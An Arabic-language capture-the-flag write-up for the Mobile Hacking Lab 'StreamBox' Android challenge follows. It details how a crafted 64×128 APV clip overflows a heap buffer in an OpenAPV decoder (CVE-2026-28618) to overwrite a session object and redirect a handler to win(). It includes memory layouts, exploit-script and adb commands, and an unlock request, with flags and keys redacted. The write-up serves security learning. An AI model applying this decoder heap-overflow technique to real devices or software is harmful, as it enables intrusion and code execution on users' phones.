
ملاحظات محجوبة حول CVE-2026-28618 / مختبر StreamBox APV — كتابة في الكومة إلى كائن جلسة عبر عدم تطابق ارتفاع FRAME
CVE-2026-28618 في StreamBox — نفس فئة مفكّك ترميز OpenAPV الخاصة بـ CVE-2026-0006، وقد حُوّلت إلى كتابة على الكومة (heap write) تستهدف كائن جلسة (session object).
هذا المستودع هو تقرير عام منقّح: أُغفلت فيه الأعلام (flags) ورموز النسخ (instance tokens) ومفتاح HMAC. ملف APK وmake_clip.py ملكٌ لـ Mobile Hacking Lab؛ وهما غير منسوخين هنا.

StreamBox هو مشغّل APV صغير. APV اختصار Advanced Professional Video (RFC 9924)، وهو ترميز سامسونج الخالي من رسوم الترخيص، من نفس العائلة التي شُحنت في حزمة الوسائط في Android. فكرة المختبر جملة واحدة: المشغّل يشغّل المقاطع المشتركة فور وصولها.
SEND أو VIEW أو streambox://play?url=… ينسخ ملفًا إلى files/incoming.apv ثم يُشغّل NativeDec.loadClip().
الخلل هو CVE-2026-28618: تجاوز سعة مخزن مؤقت في الكومة (heap buffer overflow) في dec_frm_prepare ضمن OpenAPV. نفس فئة المفكّك الخاصة بـ CVE-2026-0006.
يغلّف المختبر تلك الكتابة على هيئة لعبة. تجاوز مستوى Y الثابت 64×64، وحطّم كائن جلسة مجاورًا، وأعد توجيه عملية الإنهاء (teardown) إلى handlers[2]، فيعيد الـ Worker العلَم.
العدّة عبارة عن ملفَّي zip من المختبر:
streambox-lab.apk.zip — المشغّلmake_clip.py.zip — كيفية بناء مقاطع مكتبة 64×64، وتدفّق البتات (bitstream) الذي تتجاوزهصورة نظام ARM64 QEMU في Android Studio غير مناسبة على مضيف x86-64. ملف APK هذا arm64-v8a / minSdk 34. أما AVD بنظام x86_64 API 34 مع libndk_translation.so (abilist=x86_64,arm64-v8a) فيثبّته ويشغّله.


يقوم PlayerActivity بما يلي:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path); // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity
تُرجع loadClip القيمة 1 (premium / session smash) أو 2 (تم تشغيل win() بالفعل). بينما يقوم openTier بالتنقل في واجهة المستخدم فقط.
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
عند الإقلاع، كان التطبيق قد نفّذ بالفعل POST /api/instance وNativeDec.setPlatinumToken(token). هذا الرمز المميز هو ما يجب أن يكتبه الفائض في الجلسة.

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
oapv_imgb_t مُثبَّت بشكل صارم على 64×64، YUV بعمق 10 بت. يبدأ المستوى 0 (Y) عند arena+0. 64 × 64 × 2 = 0x2000. الجلسة هي arena + 0x2000 + pad. pad هو SB_SESS_PAD أو قيمة nibble محاذاة إلى 0x400 من rand() بعد srand(getpid()^time()). على AVD، سجّل Sunset Drive القيمة session-arena = 0x3800 (pad = 0x1800). البلاطة الإضافية 64×128 هي 0x2000 بايت، لذا لا تزال تصل إلى الجلسة لتلك القيم من pad.
يكتب oapvd_decode() بعرض/ارتفاع FRAME PBU. الإطار الأطول من 64 يكتب عينات بعمق 10 بت مباشرةً في session.
بعد فك الترميز:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

يولّد مُولّد المخبر 32 إطارًا بدقة 64×64 RGB، ويحوّلها إلى yuv422p10le، ويستدعي المُرمِّز المرجعي OpenAPV:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
كل مقطع مضمّن يتكوّن من 32 وحدة وصول بإطار 64×64:
[u32be au_size] ['aPv1' + PBUs] × 32
يخصص المشغّل 64×64. بلاطات APV بحجم 64×64.
يتفق qemu-user (qemu-aarch64 + Android 10 linker64) وAVD:
| المقطع | qemu-user streambox_load | AVD loadClip |
|---|---|---|
| مقطع مكتبة 64×64 | 0 | 0 (premium_hit=0) |
| ارتفاع الترويسة 64→72 | SIGABRT oapvd_vlc_ac_coef | SIGABRT، نفس التأكيد، تنتهي العملية (home after crash) |
| ترميز حقيقي 64×128 (بلاطتان، QP 0) | 1 | 1 premium_hit=1 → SESSION ANOMALY |
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
-n com.mobilehackinglab.streambox/.MainActivity

ترميز ثانٍ، بحلقة مغلقة مقابل إعادة بناء المُرمِّز، يزرع access token الحيّ والمعالج 2 (المدخل Y≈4 يُعاد بناؤه كـ 2). كرِّر بادئة الـ 16 بايت تلك عبر مستوى Y بحجم 64×128 حتى لا تكون الحشوة مهمة.
# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
-n com.mobilehackinglab.streambox/.MainActivity
على AVD:
gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

شُغّل win() داخل loadClip. لم يفتح openTier(2) سوى PremiumActivity، الذي أرسل ذلك الإثبات عبر POST.
لإعداد qemu-user (وليس محاكي ARM64 الخاص بـ Android Studio): راجع التعليقات في encode_overflow.py وملف qemu-harness/README.md الخاص بالمختبر.
PoC عام ذو صلة بفئة العلّة الأصلية: mobilehackinglab/CVE-2026-0006-openapv-poc.
تحصل Python urllib على Cloudflare 1010. أما curl مع UA خاص بالهاتف المحمول فيعمل.
يرفض Worker السحر الأصلي برسالة no overflow evidence: session magic intact. وتُحتسب ASCII STREAMBO (بايتات مختلفة عن LE uint64) كتابةً.

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py